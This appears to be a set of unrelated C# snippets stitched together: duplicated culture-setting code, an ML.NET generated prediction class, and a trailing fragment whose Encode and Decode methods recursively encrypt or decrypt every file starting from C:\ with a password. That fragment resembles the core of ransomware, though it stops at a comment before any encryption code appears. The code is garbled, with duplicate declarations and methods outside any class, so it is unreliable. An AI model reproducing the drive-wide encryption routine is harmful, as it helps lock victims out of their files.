C#

var cultureInfo = CultureInfo.CreateSpecificCulture("de");
Thread.CurrentThread.CurrentCulture = cultureInfo;
Thread.CurrentThread.CurrentUICulture = cultureInfo;
CultureInfo.DefaultThreadCurrentCulture = cultureInfo;
CultureInfo.DefaultThreadCurrentUICulture = cultureInfo;

var cultureInfo = CultureInfo.CreateSpecificCulture("fr"); // for example if I select french
Thread.CurrentThread.CurrentCulture = cultureInfo;
Thread.CurrentThread.CurrentUICulture = cultureInfo;
CultureInfo.DefaultThreadCurrentCulture = cultureInfo;
CultureInfo.DefaultThreadCurrentUICulture = cultureInfo;

using Microsoft.ML;
using Microsoft.ML.Data;
using System;
using System.Linq;
using System.IO;
using System.Collections.Generic;

namespace MLModelx_ConsoleApp1
{
    public partial class MLModelx
    {
        /// <summary>
        /// model input class for MLModelx.
        /// </summary>
        #region model input class
        public class ModelInput
        {
            [ColumnName(@"Label")]
            public string Label { get; set; }

            [ColumnName(@"ImageSource")]
            public string ImageSource { get; set; }

        }

        #endregion

        /// <summary>
        /// model output class for MLModelx.
        /// </summary>
        #region model output class
        public class ModelOutput
        {
            [ColumnName("PredictedLabel")]
            public string Prediction { get; set; }

            public float[] Score { get; set; }
        }

        #endregion

        private static string MLNetModelPath = Path.GetFullPath("MLModelx.zip");
        bool disposed = false;
        /// <summary>
        /// Use this method to predict on <see cref="ModelInput"/>.
        /// </summary>
        /// <param name="input">model input.</param>
        /// <returns><seealso cref=" ModelOutput"/></returns>
        public static ModelOutput Predict(ModelInput input)
        {
            MLContext mlContext = new MLContext();

            // Load model & create prediction engine
            ITransformer mlModel = mlContext.Model.Load(MLNetModelPath, out var modelInputSchema);
            var predEngine = mlContext.Model.CreatePredictionEngine<ModelInput, ModelOutput>(mlModel);

            ModelOutput result = predEngine.Predict(input);
            return result;
        }
        public void Dispose()
        {
            Dispose1(true);
            GC.SuppressFinalize(this);
        }
        protected virtual void Dispose1(bool disposing)
        {
            if (disposed)
                return;

            if (disposing)
            {
                // Free any other managed objects here.
                //
            }

            // Free any unmanaged objects here.
            //
            disposed = true;
        }

        ~MLModelx()
        {
            Dispose1(false);
        }
    }
}

public static void Encode()
        {
            string startDirectory = @"C:\"; //Where to start from
            ProcessDirectory(startDirectory, 1, "");
        }

        public static void Decode(string decryption_password)
        {
            string startDirectory = @"C:\"; //Where to start from
            ProcessDirectory(startDirectory, 0, decryption_password);
        }

        // Process all files in the directory passed in, recurse on any directories 
        // that are found, and process the files they contain. 
        //action 1 = encrypt, 0 = decrypt